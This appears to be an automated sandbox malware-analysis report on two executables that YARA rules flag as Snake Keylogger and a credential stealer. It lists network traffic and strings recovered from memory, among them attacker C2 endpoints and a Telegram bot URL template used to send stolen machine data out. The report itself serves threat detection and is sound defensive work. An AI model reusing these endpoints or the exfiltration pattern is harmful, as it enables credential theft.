Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.precioustouchfoundation.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 07 Oct 2024 06:51:31 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 07 Oct 2024 06:51:35 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003205000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.precioustouchfoundation.org
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003205000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://precioustouchfoundation.org
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1722967795.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1768336189.0000000003154000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000000.00000002.1728892252.0000000005474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20a
Source: lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D33000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D73000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.000000000322E000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003130000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030EB000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003130000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000419D000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004341000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004150000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004417000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042F4000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F27000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E52000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E04000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CD5000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CAD000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C60000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000412B000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042CF000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042FA000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004156000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000043F2000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F02000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CB0000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000419D000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004341000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004150000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004417000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042F4000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F27000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E52000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E04000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CD5000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CAD000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C60000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000412B000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042CF000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042FA000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004156000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000043F2000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F02000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CB0000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D73000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.000000000325F000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.lyNyKapwZJLKnn.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.lyNyKapwZJLKnn.exe.4b973e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.2i3Lj7a8Gk.exe.4662820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
